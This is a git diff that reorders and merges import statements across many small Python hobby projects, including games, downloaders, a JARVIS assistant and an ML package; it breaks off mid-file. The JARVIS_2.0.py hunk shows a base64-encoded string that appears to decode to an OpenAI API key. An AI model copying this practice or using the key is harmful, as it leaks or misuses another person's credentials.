youtubedownloader.py | 4 ++- 244 files changed, 517 insertions(+), 454 deletions(-) diff --git a/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py b/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py index 2316f5442ef..52fc198b676 100644 --- a/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py +++ b/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py @@ -12,9 +12,10 @@ ## Find bright students and weak students -from dotenv import load_dotenv import os +from dotenv import load_dotenv + base = os.path.dirname(__file__) load_dotenv(os.path.join(base, ".env")) student_record = os.getenv("STUDENTS_RECORD_FILE") diff --git a/1 File handle/File handle binary/update2.py b/1 File handle/File handle binary/update2.py index 02511145d7e..80f44862a3b 100644 --- a/1 File handle/File handle binary/update2.py +++ b/1 File handle/File handle binary/update2.py @@ -1,7 +1,8 @@ # Updating records in a binary file # ! Have a .env file please -import pickle import os +import pickle + from dotenv import load_dotenv base = os.path.dirname(__file__) diff --git a/1 File handle/File handle text/question 5.py b/1 File handle/File handle text/question 5.py index de03fbb81fd..50307fc023a 100644 --- a/1 File handle/File handle text/question 5.py +++ b/1 File handle/File handle text/question 5.py @@ -1,8 +1,9 @@ """Write a function in python to count the number of lowercase alphabets present in a text file “happy.txt""" -import time import os +import time + from counter import Counter print( diff --git a/8_puzzle.py b/8_puzzle.py index 97fe457474c..03b9410155f 100644 --- a/8_puzzle.py +++ b/8_puzzle.py @@ -1,5 +1,5 @@ from queue import PriorityQueue -from typing import List, Tuple, Optional, Set +from typing import List, Optional, Set, Tuple class PuzzleState: diff --git a/Anonymous_TextApp.py b/Anonymous_TextApp.py index 9a47ccfc666..d55c1891cf9 100644 --- a/Anonymous_TextApp.py +++ b/Anonymous_TextApp.py @@ -1,4 +1,5 @@ import tkinter as tk + from PIL import Image, ImageTk from twilio.rest import Client diff --git a/Audio_Summarizer.py b/Audio_Summarizer.py index 7388fcbd123..8d2a673ae7b 100644 --- a/Audio_Summarizer.py +++ b/Audio_Summarizer.py @@ -1,7 +1,8 @@ -import whisper +import os import re + import openai -import os +import whisper def transcript_generator(): diff --git a/AutoComplete_App/backend.py b/AutoComplete_App/backend.py index a86e6797742..b5fae098f6a 100644 --- a/AutoComplete_App/backend.py +++ b/AutoComplete_App/backend.py @@ -1,5 +1,5 @@ -import sqlite3 import json +import sqlite3 class AutoComplete: diff --git a/AutoComplete_App/frontend.py b/AutoComplete_App/frontend.py index 137cfaf1442..d1f926aca3a 100644 --- a/AutoComplete_App/frontend.py +++ b/AutoComplete_App/frontend.py @@ -1,4 +1,5 @@ from tkinter import * + import backend diff --git a/Automated Scheduled Call Reminders/caller.py b/Automated Scheduled Call Reminders/caller.py index 1349762ade0..7953cadfa2c 100644 --- a/Automated Scheduled Call Reminders/caller.py +++ b/Automated Scheduled Call Reminders/caller.py @@ -1,9 +1,10 @@ # The project automates calls for people from the firebase cloud database and the schedular keeps it running and checks for entries # every 1 hour using aps scedular # The project can be used to set 5 min before reminder calls to a set of people for doing a particular job -from firebase_admin import credentials, firestore, initialize_app from datetime import datetime, timedelta from time import gmtime, strftime + +from firebase_admin import credentials, firestore, initialize_app from twilio.rest import Client # twilio credentials diff --git a/Automated Scheduled Call Reminders/schedular.py b/Automated Scheduled Call Reminders/schedular.py index dac928244dc..14038f59cd9 100644 --- a/Automated Scheduled Call Reminders/schedular.py +++ b/Automated Scheduled Call Reminders/schedular.py @@ -1,7 +1,6 @@ # schedular code for blocking schedular as we have only 1 process to run from apscheduler.schedulers.blocking import BlockingScheduler - from caller import search sched = BlockingScheduler() diff --git a/Battery_notifier.py b/Battery_notifier.py index 2f45301bc1e..68bd2367950 100644 --- a/Battery_notifier.py +++ b/Battery_notifier.py @@ -1,5 +1,5 @@ -from plyer import notification # pip install plyer import psutil # pip install psutil +from plyer import notification # pip install plyer # psutil.sensors_battery() will return the information related to battery battery = psutil.sensors_battery() diff --git a/BlackJack_game/blackjack.py b/BlackJack_game/blackjack.py index 48521562d78..241d625c365 100644 --- a/BlackJack_game/blackjack.py +++ b/BlackJack_game/blackjack.py @@ -1,14 +1,14 @@ # master # master # BLACK JACK - CASINO A GAME OF FORTUNE!!! +# master +import random from time import sleep # BLACK JACK - CASINO # PYTHON CODE BASE -# master -import random deck = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10, 11] * 4 diff --git a/BrowserHistory/tests/test_browser_history.py b/BrowserHistory/tests/test_browser_history.py index 2bcdc486040..53015a72afa 100644 --- a/BrowserHistory/tests/test_browser_history.py +++ b/BrowserHistory/tests/test_browser_history.py @@ -1,6 +1,6 @@ -import unittest -import sys import os +import sys +import unittest # Add parent directory to path to import backend sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) diff --git a/Calendar (GUI).py b/Calendar (GUI).py index 648f60bff9f..a4b1093b2cf 100644 --- a/Calendar (GUI).py +++ b/Calendar (GUI).py @@ -1,5 +1,5 @@ -from tkinter import * import calendar +from tkinter import * root = Tk() # root.geometry("400x300") diff --git a/Checker_game_by_dz/first.py b/Checker_game_by_dz/first.py index c39d5acef8b..d03562ee0c5 100644 --- a/Checker_game_by_dz/first.py +++ b/Checker_game_by_dz/first.py @@ -6,9 +6,9 @@ # import libraries import pygame as pg from modules import statics as st -from modules.statics import * -from modules.checker_board import * from modules.checker import * +from modules.checker_board import * +from modules.statics import * # static variables for this particular file fps = 60 diff --git a/Checker_game_by_dz/modules/checker.py b/Checker_game_by_dz/modules/checker.py index 8525435aef0..70a7f4e1327 100644 --- a/Checker_game_by_dz/modules/checker.py +++ b/Checker_game_by_dz/modules/checker.py @@ -4,9 +4,10 @@ """ import pygame as pg + from .checker_board import * -from .statics import * from .pieces import * +from .statics import * class checker: diff --git a/Checker_game_by_dz/modules/checker_board.py b/Checker_game_by_dz/modules/checker_board.py index 0e8615ee292..e9b061507a2 100644 --- a/Checker_game_by_dz/modules/checker_board.py +++ b/Checker_game_by_dz/modules/checker_board.py @@ -4,8 +4,9 @@ """ import pygame as pg -from .statics import * + from .pieces import * +from .statics import * # checker board creation diff --git a/Checker_game_by_dz/modules/pieces.py b/Checker_game_by_dz/modules/pieces.py index 3298836e1a6..1f50e9696e7 100644 --- a/Checker_game_by_dz/modules/pieces.py +++ b/Checker_game_by_dz/modules/pieces.py @@ -3,9 +3,10 @@ """ -from .statics import * import pygame as pg +from .statics import * + class pieces: padding = 17 diff --git a/Chrome Dino Automater.py b/Chrome Dino Automater.py index 60cb1e409be..1dc46236576 100644 --- a/Chrome Dino Automater.py +++ b/Chrome Dino Automater.py @@ -1,9 +1,9 @@ -import pyautogui # pip install pyautogui -from PIL import ImageGrab # pip install pillow - # from numpy import asarray import time +import pyautogui # pip install pyautogui +from PIL import ImageGrab # pip install pillow + def hit(key): pyautogui.press(key) diff --git a/Classification_human_or_horse.py b/Classification_human_or_horse.py index 4aa069a855a..7786d2f8da5 100644 --- a/Classification_human_or_horse.py +++ b/Classification_human_or_horse.py @@ -36,8 +36,9 @@ from tkinter import Tk from tkinter.filedialog import askopenfilename -from keras.preprocessing import image + import numpy as np +from keras.preprocessing import image Tk().withdraw() filename = askopenfilename() diff --git a/CliYoutubeDownloader.py b/CliYoutubeDownloader.py index a177b65b891..7ca77744a21 100644 --- a/CliYoutubeDownloader.py +++ b/CliYoutubeDownloader.py @@ -1,6 +1,7 @@ -from pytube import * import sys +from pytube import * + class YouTubeDownloder: def __init__(self): diff --git a/CliYoutubeDownloader/CliYoutubeDownloader.py b/CliYoutubeDownloader/CliYoutubeDownloader.py index 63a7d5fb84b..aab1c532c85 100644 --- a/CliYoutubeDownloader/CliYoutubeDownloader.py +++ b/CliYoutubeDownloader/CliYoutubeDownloader.py @@ -1,6 +1,7 @@ # libraraies import sys + import pytube diff --git a/Collatz Sequence/Collaze-Visualize.py b/Collatz Sequence/Collaze-Visualize.py index 6cf2481a4b4..0a7deb79746 100644 --- a/Collatz Sequence/Collaze-Visualize.py +++ b/Collatz Sequence/Collaze-Visualize.py @@ -1,4 +1,5 @@ import time + import matplotlib.pyplot as plt diff --git a/Colors/multicoloredline.py b/Colors/multicoloredline.py index e0d0d062cd7..a269ba97666 100644 --- a/Colors/multicoloredline.py +++ b/Colors/multicoloredline.py @@ -1,9 +1,10 @@ +import json +import time + from rich.console import Console +from rich.progress import BarColumn, Progress, SpinnerColumn, TextColumn from rich.syntax import Syntax -from rich.progress import Progress, SpinnerColumn, BarColumn, TextColumn from rich.table import Table -import time -import json console = Console() diff --git a/Colors/pixel_sort.py b/Colors/pixel_sort.py index f6fa4d56507..c81a7eacfa2 100644 --- a/Colors/pixel_sort.py +++ b/Colors/pixel_sort.py @@ -1,17 +1,17 @@ """Pixel Sorting""" # Importing Libraries -import cv2 -import numpy as np -import math +import argparse import colorsys -import pandas as pd +import math import os -import argparse -from tqdm import tqdm +import cv2 +import numpy as np +import pandas as pd # Importing the external file Library import sound +from tqdm import tqdm # Taking arguments from command line parser = argparse.ArgumentParser() # you iniatize as such diff --git a/Cricket_score.py b/Cricket_score.py index 22b8f05e319..6ce7aca591d 100644 --- a/Cricket_score.py +++ b/Cricket_score.py @@ -1,9 +1,8 @@ from urllib import request +import bs4 # Beautiful Soup for Web Scraping # import os import pyttsx3 - -import bs4 # Beautiful Soup for Web Scraping from win10toast import ToastNotifier toaster = ToastNotifier() diff --git a/Day_of_week.py b/Day_of_week.py index c9c36bfada2..a7f2af44977 100644 --- a/Day_of_week.py +++ b/Day_of_week.py @@ -1,8 +1,8 @@ # Python program to Find day of # the week for a given date -import re # regular expressions import calendar # module of python to provide useful fucntions related to calendar import datetime # module of python to get the date and time +import re # regular expressions def process_date(user_input): diff --git a/Downloaded Files Organizer/obs.py b/Downloaded Files Organizer/obs.py index 1489f257041..236d7b0e56d 100644 --- a/Downloaded Files Organizer/obs.py +++ b/Downloaded Files Organizer/obs.py @@ -1,10 +1,11 @@ def watcher(path): # python script to observe changes in a folder - import time import os - from watchdog.observers import Observer - from watchdog.events import FileSystemEventHandler + import time + from move_to_directory import add_to_dir + from watchdog.events import FileSystemEventHandler + from watchdog.observers import Observer class Handler(FileSystemEventHandler): def on_created(self, event): diff --git a/Droplistmenu/GamesCalender.py b/Droplistmenu/GamesCalender.py index 92a049ea0d1..4f5f679d387 100644 --- a/Droplistmenu/GamesCalender.py +++ b/Droplistmenu/GamesCalender.py @@ -1,5 +1,6 @@ import tkinter as tk from tkinter import messagebox + from tkcalendar import Calendar diff --git a/Emoji Dictionary/QT_GUI.py b/Emoji Dictionary/QT_GUI.py index ef3f6f0cf40..867b5f6ff1d 100644 --- a/Emoji Dictionary/QT_GUI.py +++ b/Emoji Dictionary/QT_GUI.py @@ -1,12 +1,13 @@ # -*- coding: utf-8 -*- +import os import sys + +from emoji import demojize +from PyQt5 import uic from PyQt5.QtCore import * from PyQt5.QtGui import * from PyQt5.QtWidgets import * -from PyQt5 import uic -from emoji import demojize -import os class MainWindow(QMainWindow): diff --git a/Emoji Dictionary/emoji_dictionary.py b/Emoji Dictionary/emoji_dictionary.py index 043160a8a75..ced55591ee7 100644 --- a/Emoji Dictionary/emoji_dictionary.py +++ b/Emoji Dictionary/emoji_dictionary.py @@ -1,9 +1,10 @@ # Emoji Dictionary # ----------------------------------------------------------------------------------------------------- -from tkinter import * # importing the necessary libraries -import tkinter.messagebox as mbox import tkinter as tk # imported tkinter as tk +import tkinter.messagebox as mbox +from tkinter import * # importing the necessary libraries + import emoji # ----------------------------------------------------------------------------------------------- diff --git a/Extract-Table-from-pdf-txt-docx/main.py b/Extract-Table-from-pdf-txt-docx/main.py index d74649cd054..32428de8dd0 100644 --- a/Extract-Table-from-pdf-txt-docx/main.py +++ b/Extract-Table-from-pdf-txt-docx/main.py @@ -1,6 +1,7 @@ # %% -import pandas as pd import os + +import pandas as pd import tabula from docx.api import Document diff --git a/ExtractThumbnailFromVideo/extract_thumbnail_from_video.py b/ExtractThumbnailFromVideo/extract_thumbnail_from_video.py index c7ecd32ef75..5896ed9c03c 100644 --- a/ExtractThumbnailFromVideo/extract_thumbnail_from_video.py +++ b/ExtractThumbnailFromVideo/extract_thumbnail_from_video.py @@ -1,6 +1,7 @@ -import cv2 import os +import cv2 + def extract_thumbnail(video_path, frame_size): """ diff --git a/Face_Mask_detection (haarcascade)/mask_detection.py b/Face_Mask_detection (haarcascade)/mask_detection.py index 99396d5576f..6f20bc5c00e 100644 --- a/Face_Mask_detection (haarcascade)/mask_detection.py +++ b/Face_Mask_detection (haarcascade)/mask_detection.py @@ -1,6 +1,6 @@ -import tensorflow.keras -import numpy as np import cv2 +import numpy as np +import tensorflow.keras # import os diff --git a/Flappy Bird - created with tkinter/Background.py b/Flappy Bird - created with tkinter/Background.py index 582f2287491..379fd8ec639 100644 --- a/Flappy Bird - created with tkinter/Background.py +++ b/Flappy Bird - created with tkinter/Background.py @@ -1,4 +1,4 @@ -from tkinter import Tk, Canvas +from tkinter import Canvas, Tk from PIL.Image import open as openImage from PIL.ImageTk import PhotoImage diff --git a/Flappy Bird - created with tkinter/Flappy Bird.py b/Flappy Bird - created with tkinter/Flappy Bird.py index a082e3ec1cb..5505c2f4b38 100644 --- a/Flappy Bird - created with tkinter/Flappy Bird.py +++ b/Flappy Bird - created with tkinter/Flappy Bird.py @@ -1,6 +1,7 @@ -import pygame import random +import pygame + # Initialize Pygame pygame.init() diff --git a/Flappy Bird - created with tkinter/Settings.py b/Flappy Bird - created with tkinter/Settings.py index 7b7b72d9ad3..c41042e8842 100644 --- a/Flappy Bird - created with tkinter/Settings.py +++ b/Flappy Bird - created with tkinter/Settings.py @@ -1,6 +1,5 @@ import os -from json import dumps -from json import loads +from json import dumps, loads class Settings(object): diff --git a/Google_Image_Downloader/create_dir.py b/Google_Image_Downloader/create_dir.py index 0734f836802..dab579db1e4 100644 --- a/Google_Image_Downloader/create_dir.py +++ b/Google_Image_Downloader/create_dir.py @@ -10,14 +10,9 @@ project directory. """ -from os import chdir -from os import makedirs -from os import removedirs -from os import rename -from os.path import exists -from os.path import pardir -from shutil import copytree -from shutil import move +from os import chdir, makedirs, removedirs, rename +from os.path import exists, pardir +from shutil import copytree, move # Creates a directory diff --git a/Google_Image_Downloader/image_grapper.py b/Google_Image_Downloader/image_grapper.py index 8bc8eccc3a1..5ec19e39552 100644 --- a/Google_Image_Downloader/image_grapper.py +++ b/Google_Image_Downloader/image_grapper.py @@ -2,15 +2,13 @@ # -*- coding: utf-8 -*- # importing required libraries import json -from os import chdir, system -from os import walk -from os.path import curdir -from os.path import pardir +import ssl +from os import chdir, system, walk +from os.path import curdir, pardir from urllib.parse import urlencode -from urllib.request import urlopen, Request +from urllib.request import Request, urlopen import requests -import ssl from bs4 import BeautifulSoup from create_dir import create_directory diff --git a/HTML_to_PDF/main.py b/HTML_to_PDF/main.py index 5211ee325b3..2932834f630 100644 --- a/HTML_to_PDF/main.py +++ b/HTML_to_PDF/main.py @@ -1,6 +1,7 @@ -import pdfkit import os +import pdfkit + # Download wkhtmltopdf from https://wkhtmltopdf.org/downloads.html # Set the path to the wkhtmltopdf executable diff --git a/Hand-Motion-Detection/hand_motion_recognizer.py b/Hand-Motion-Detection/hand_motion_recognizer.py index 4b4fd588dba..501bdcee3d1 100644 --- a/Hand-Motion-Detection/hand_motion_recognizer.py +++ b/Hand-Motion-Detection/hand_motion_recognizer.py @@ -1,5 +1,5 @@ -import mediapipe as mp import cv2 +import mediapipe as mp mp_drawing = mp.solutions.drawing_utils mp_hands = mp.solutions.hands diff --git a/HangMan Game.py b/HangMan Game.py index 7811963553a..75b1e797e41 100644 --- a/HangMan Game.py +++ b/HangMan Game.py @@ -1,5 +1,6 @@ # Program for HangMan Game. import random + import HangMan_Includes as incl while True: diff --git a/Hangman.py b/Hangman.py index c49a64cc714..d9e4927a444 100644 --- a/Hangman.py +++ b/Hangman.py @@ -1,8 +1,7 @@ # importing the time module -import time - # importing the random module import random +import time # welcoming the user name = input("What is your name? ") diff --git a/Hotel-Management.py b/Hotel-Management.py index d3a17178f02..aaa0fece7e5 100644 --- a/Hotel-Management.py +++ b/Hotel-Management.py @@ -100,8 +100,8 @@ def add(): exit_menu() -import os import json +import os filecheck = os.path.isfile("Management.txt") if not filecheck: diff --git a/Image-watermarker/app.py b/Image-watermarker/app.py index 83cfe942a5d..1dabfa59448 100644 --- a/Image-watermarker/app.py +++ b/Image-watermarker/app.py @@ -1,10 +1,11 @@ +from tkinter import colorchooser + import customtkinter as ctk -from customtkinter import filedialog +import pyglet from CTkMessagebox import CTkMessagebox +from customtkinter import filedialog from PIL import Image, ImageTk from watermark import Watermark -import pyglet -from tkinter import colorchooser # ------------------- Create Window ----------------- pyglet.font.add_directory("fonts") diff --git a/Image-watermarker/watermark.py b/Image-watermarker/watermark.py index dd3a11c79fc..69139ee7196 100644 --- a/Image-watermarker/watermark.py +++ b/Image-watermarker/watermark.py @@ -1,6 +1,6 @@ -from PIL import ImageDraw, ImageFont -from customtkinter import filedialog from CTkMessagebox import CTkMessagebox +from customtkinter import filedialog +from PIL import ImageDraw, ImageFont class Watermark: diff --git a/ImageDownloader/img_downloader.py b/ImageDownloader/img_downloader.py index 7ee1bc34c09..cba3c466e12 100644 --- a/ImageDownloader/img_downloader.py +++ b/ImageDownloader/img_downloader.py @@ -4,6 +4,7 @@ def ImageDownloader(url): import os import re + import requests response = requests.get(url) diff --git a/Industrial_developed_hangman/tests/test_hangman/test_main.py b/Industrial_developed_hangman/tests/test_hangman/test_main.py index 6567e56b765..ef18df02d82 100644 --- a/Industrial_developed_hangman/tests/test_hangman/test_main.py +++ b/Industrial_developed_hangman/tests/test_hangman/test_main.py @@ -2,12 +2,7 @@ import pytest import requests_mock - -from src.hangman.main import ( - MainProcess, - Source, - parse_word_from_site, -) +from src.hangman.main import MainProcess, Source, parse_word_from_site class FkPrint(object): diff --git a/JARVIS/JARVIS_2.0.py b/JARVIS/JARVIS_2.0.py index 676c6b833ce..2db28b38eaf 100644 --- a/JARVIS/JARVIS_2.0.py +++ b/JARVIS/JARVIS_2.0.py @@ -10,27 +10,24 @@ # import modules import datetime # datetime module supplies classes for manipulating dates and times +import json +# master +# auto install for pyttsx3 and speechRecognition +import os import subprocess # subprocess module allows you to spawn new processes # master import pyjokes # for generating random jokes import requests -import json -from PIL import ImageGrab from gtts import gTTS - +from PIL import ImageGrab +# ======= +from playsound import * # for sound output # for 30 seconds clip "Jarvis, clip that!" and discord ctrl+k quick-move (might not come to fruition) from pynput import keyboard from pynput.keyboard import Key from pynput.mouse import Controller -# ======= -from playsound import * # for sound output - -# master -# auto install for pyttsx3 and speechRecognition -import os - try: import pyttsx3 # Check if already installed except: # If not installed give exception @@ -44,8 +41,8 @@ import speech_recognition as sr # speech_recognition Library for performing speech recognition with support for Google Speech Recognition, etc.. # importing the pyttsx3 library -import webbrowser import smtplib +import webbrowser # initialisation engine = pyttsx3.init() @@ -84,9 +81,10 @@ def sendEmail(to, content): server.close() -import openai import base64 +import openai + stab = base64.b64decode( b"c2stMGhEOE80bDYyZXJ5ajJQQ3FBazNUM0JsYmtGSmRsckdDSGxtd3VhQUE1WWxsZFJx" ).decode("utf-8") diff --git a/JARVIS/ai.py b/JARVIS/ai.py index 266e68d2d9c..9f352c1812d 100644 --- a/JARVIS/ai.py +++ b/JARVIS/ai.py @@ -1,7 +1,8 @@ from openai import OpenAI, OpenAIError from . import state -from .config import MAX_OUTPUT_TOKENS, OPENAI_API_KEY, OPENAI_BASE_URL, OPENAI_MODEL +from .config import (MAX_OUTPUT_TOKENS, OPENAI_API_KEY, OPENAI_BASE_URL, + OPENAI_MODEL) from .memory import memory_context from .prompts import ACTION_CLASSIFIER_PROMPT, ASSISTANT_PROMPT from .text_utils import clean_assistant_output diff --git a/JARVIS/speech.py b/JARVIS/speech.py index 98084f568ed..ed165c44aea 100644 --- a/JARVIS/speech.py +++ b/JARVIS/speech.py @@ -3,7 +3,6 @@ import sys import tempfile - from .config import LISTEN_PHRASE_SECONDS, SPEECH_LANGUAGES, TTS_MODE from .text_utils import clean_assistant_output, normalize_text diff --git a/ML/examples/neural_architecture_search.py b/ML/examples/neural_architecture_search.py index 29f9f00d659..9f3ae2f1eee 100644 --- a/ML/examples/neural_architecture_search.py +++ b/ML/examples/neural_architecture_search.py @@ -2,11 +2,12 @@ sys.path.insert(0, ".") -from src.python.neuralforge.nas.search_space import SearchSpace -from src.python.neuralforge.nas.evolution import EvolutionarySearch -from src.python.neuralforge.nas.evaluator import ProxyEvaluator -from src.python.neuralforge.data.dataset import SyntheticDataset, DataLoaderBuilder from src.python.neuralforge.config import Config +from src.python.neuralforge.data.dataset import (DataLoaderBuilder, + SyntheticDataset) +from src.python.neuralforge.nas.evaluator import ProxyEvaluator +from src.python.neuralforge.nas.evolution import EvolutionarySearch +from src.python.neuralforge.nas.search_space import SearchSpace def main(): diff --git a/ML/examples/train_cifar10.py b/ML/examples/train_cifar10.py index 97b97ad194e..932d62c3af3 100644 --- a/ML/examples/train_cifar10.py +++ b/ML/examples/train_cifar10.py @@ -1,13 +1,13 @@ -import sys import os +import sys sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) import torch import torch.nn as nn -from src.python.neuralforge import Trainer, Config -from src.python.neuralforge.data.datasets import get_dataset +from src.python.neuralforge import Config, Trainer from src.python.neuralforge.data.dataset import DataLoaderBuilder +from src.python.neuralforge.data.datasets import get_dataset from src.python.neuralforge.models.resnet import ResNet18 from src.python.neuralforge.optim.optimizers import AdamW from src.python.neuralforge.optim.schedulers import CosineAnnealingWarmRestarts diff --git a/ML/examples/train_custom.py b/ML/examples/train_custom.py index e2db1a376a5..64c5289f849 100644 --- a/ML/examples/train_custom.py +++ b/ML/examples/train_custom.py @@ -3,8 +3,9 @@ sys.path.insert(0, ".") import torch.nn as nn -from src.python.neuralforge import Trainer, Config -from src.python.neuralforge.data.dataset import SyntheticDataset, DataLoaderBuilder +from src.python.neuralforge import Config, Trainer +from src.python.neuralforge.data.dataset import (DataLoaderBuilder, + SyntheticDataset) from src.python.neuralforge.models.resnet import ResNet18 from src.python.neuralforge.optim.optimizers import AdamW from src.python.neuralforge.optim.schedulers import CosineAnnealingWarmRestarts diff --git a/ML/src/python/neuralforge/__init__.py b/ML/src/python/neuralforge/__init__.py index 1a503f0893a..b0a94fc42c8 100644 --- a/ML/src/python/neuralforge/__init__.py +++ b/ML/src/python/neuralforge/__init__.py @@ -1,10 +1,6 @@ -from . import nn -from . import optim -from . import data -from . import utils -from . import nas -from .trainer import Trainer +from . import data, nas, nn, optim, utils from .config import Config +from .trainer import Trainer __version__ = "1.0.0" __all__ = ["nn", "optim", "data", "utils", "nas", "Trainer", "Config"] diff --git a/ML/src/python/neuralforge/cli/__init__.py b/ML/src/python/neuralforge/cli/__init__.py index 87328a90efd..457a59d867d 100644 --- a/ML/src/python/neuralforge/cli/__init__.py +++ b/ML/src/python/neuralforge/cli/__init__.py @@ -1,6 +1,3 @@ -from . import train -from . import test -from . import gui -from . import nas +from . import gui, nas, test, train __all__ = ["train", "test", "gui", "nas"] diff --git a/ML/src/python/neuralforge/cli/gui.py b/ML/src/python/neuralforge/cli/gui.py index aece7e66f1f..9a14b8e7c2a 100644 --- a/ML/src/python/neuralforge/cli/gui.py +++ b/ML/src/python/neuralforge/cli/gui.py @@ -1,5 +1,5 @@ -import sys import os +import sys def main(): @@ -18,29 +18,17 @@ def main(): sys.path.insert(0, root_dir) - from PyQt6.QtWidgets import ( - QMainWindow, - QWidget, - QVBoxLayout, - QHBoxLayout, - QPushButton, - QLabel, - QLineEdit, - QFileDialog, - QProgressBar, - QTextEdit, - QGroupBox, - ) - from PyQt6.QtCore import Qt, QThread, pyqtSignal - from PyQt6.QtGui import QPixmap, QFont - import torch import torch.nn.functional as F - from torchvision import transforms - from PIL import Image - from neuralforge.data.datasets import get_dataset, get_num_classes from neuralforge.models.resnet import ResNet18 + from PIL import Image + from PyQt6.QtCore import Qt, QThread, pyqtSignal + from PyQt6.QtGui import QFont, QPixmap + from PyQt6.QtWidgets import (QFileDialog, QGroupBox, QHBoxLayout, QLabel, + QLineEdit, QMainWindow, QProgressBar, + QPushButton, QTextEdit, QVBoxLayout, QWidget) + from torchvision import transforms class PredictionThread(QThread): finished = pyqtSignal(list, list, str) diff --git a/ML/src/python/neuralforge/cli/nas.py b/ML/src/python/neuralforge/cli/nas.py index e10fa67c169..2360e7e374c 100644 --- a/ML/src/python/neuralforge/cli/nas.py +++ b/ML/src/python/neuralforge/cli/nas.py @@ -1,10 +1,11 @@ import argparse + import torch -from neuralforge.nas.search_space import SearchSpace -from neuralforge.nas.evolution import EvolutionarySearch -from neuralforge.nas.evaluator import ProxyEvaluator -from neuralforge.data.dataset import SyntheticDataset, DataLoaderBuilder from neuralforge.config import Config +from neuralforge.data.dataset import DataLoaderBuilder, SyntheticDataset +from neuralforge.nas.evaluator import ProxyEvaluator +from neuralforge.nas.evolution import EvolutionarySearch +from neuralforge.nas.search_space import SearchSpace def main(): diff --git a/ML/src/python/neuralforge/cli/test.py b/ML/src/python/neuralforge/cli/test.py index 2d276adfe21..73677c27901 100644 --- a/ML/src/python/neuralforge/cli/test.py +++ b/ML/src/python/neuralforge/cli/test.py @@ -1,17 +1,16 @@ import argparse -import sys import os +import sys sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__)))) +import numpy as np import torch import torch.nn.functional as F -from torchvision import transforms -from PIL import Image -import numpy as np - from neuralforge.data.datasets import get_dataset, get_num_classes from neuralforge.models.resnet import ResNet18 +from PIL import Image +from torchvision import transforms def main(): diff --git a/ML/src/python/neuralforge/cli/train.py b/ML/src/python/neuralforge/cli/train.py index cff8e39c1b7..84c7d5f7ae1 100644 --- a/ML/src/python/neuralforge/cli/train.py +++ b/ML/src/python/neuralforge/cli/train.py @@ -1,16 +1,17 @@ import argparse -import torch -import torch.nn as nn import random -import numpy as np -from neuralforge.trainer import Trainer +import numpy as np +import torch +import torch.nn as nn from neuralforge.config import Config +from neuralforge.data.dataset import DataLoaderBuilder, SyntheticDataset from neuralforge.data.datasets import get_dataset, get_num_classes -from neuralforge.data.dataset import SyntheticDataset, DataLoaderBuilder from neuralforge.models.resnet import ResNet18 from neuralforge.optim.optimizers import AdamW -from neuralforge.optim.schedulers import CosineAnnealingWarmRestarts, OneCycleLR +from neuralforge.optim.schedulers import (CosineAnnealingWarmRestarts, + OneCycleLR) +from neuralforge.trainer import Trainer from neuralforge.utils.logger import Logger diff --git a/ML/src/python/neuralforge/config.py b/ML/src/python/neuralforge/config.py index d495adf3746..8f9b026996b 100644 --- a/ML/src/python/neuralforge/config.py +++ b/ML/src/python/neuralforge/config.py @@ -1,6 +1,6 @@ import json import os -from dataclasses import dataclass, asdict +from dataclasses import asdict, dataclass @dataclass diff --git a/ML/src/python/neuralforge/data/__init__.py b/ML/src/python/neuralforge/data/__init__.py index 8e26c85ff31..f4f23b1dcfe 100644 --- a/ML/src/python/neuralforge/data/__init__.py +++ b/ML/src/python/neuralforge/data/__init__.py @@ -1,7 +1,7 @@ +from .augmentation import * from .dataset import * from .datasets import * from .transforms import * -from .augmentation import * __all__ = [ "ImageDataset", diff --git a/ML/src/python/neuralforge/data/augmentation.py b/ML/src/python/neuralforge/data/augmentation.py index d48897dd4f6..e7238f4a0e9 100644 --- a/ML/src/python/neuralforge/data/augmentation.py +++ b/ML/src/python/neuralforge/data/augmentation.py @@ -1,6 +1,7 @@ -import torch import random + import numpy as np +import torch from PIL import Image, ImageEnhance, ImageOps diff --git a/ML/src/python/neuralforge/data/dataset.py b/ML/src/python/neuralforge/data/dataset.py index c3f472664af..0aabbaf114c 100644 --- a/ML/src/python/neuralforge/data/dataset.py +++ b/ML/src/python/neuralforge/data/dataset.py @@ -1,10 +1,11 @@ -import torch -from torch.utils.data import Dataset, DataLoader -from torchvision import transforms -from PIL import Image import os -from typing import Optional, Callable, Tuple, List +from typing import Callable, List, Optional, Tuple + import numpy as np +import torch +from PIL import Image +from torch.utils.data import DataLoader, Dataset +from torchvision import transforms class ImageDataset(Dataset): diff --git a/ML/src/python/neuralforge/data/datasets.py b/ML/src/python/neuralforge/data/datasets.py index 6bd6bfbe391..2f03f7f3b07 100644 --- a/ML/src/python/neuralforge/data/datasets.py +++ b/ML/src/python/neuralforge/data/datasets.py @@ -1,6 +1,7 @@ -from torchvision import datasets, transforms import os +from torchvision import datasets, transforms + class CIFAR10Dataset: def __init__(self, root="./data", train=True, transform=None, download=True): @@ -270,8 +271,8 @@ def __init__(self, root="./data", train=True, transform=None, download=True): ] ) - import zipfile import urllib.request + import zipfile data_dir = os.path.join(root, "tiny-imagenet-200") if download and not os.path.exists(data_dir): diff --git a/ML/src/python/neuralforge/data/transforms.py b/ML/src/python/neuralforge/data/transforms.py index 08a8d1bb0ad..347d4a42e74 100644 --- a/ML/src/python/neuralforge/data/transforms.py +++ b/ML/src/python/neuralforge/data/transforms.py @@ -1,7 +1,8 @@ -from torchvision import transforms -import torch from typing import Tuple +import torch +from torchvision import transforms + def get_transforms( image_size: int = 224, is_training: bool = True, mean=None, std=None diff --git a/ML/src/python/neuralforge/models/__init__.py b/ML/src/python/neuralforge/models/__init__.py index 44ab1e8eefd..d9b6e935ddd 100644 --- a/ML/src/python/neuralforge/models/__init__.py +++ b/ML/src/python/neuralforge/models/__init__.py @@ -1,5 +1,5 @@ -from .resnet import ResNet18, ResNet34, ResNet50 from .efficientnet import EfficientNetB0 +from .resnet import ResNet18, ResNet34, ResNet50 from .vit import VisionTransformer __all__ = [ diff --git a/ML/src/python/neuralforge/models/efficientnet.py b/ML/src/python/neuralforge/models/efficientnet.py index 32ea97418ae..cf2ce2f0b7f 100644 --- 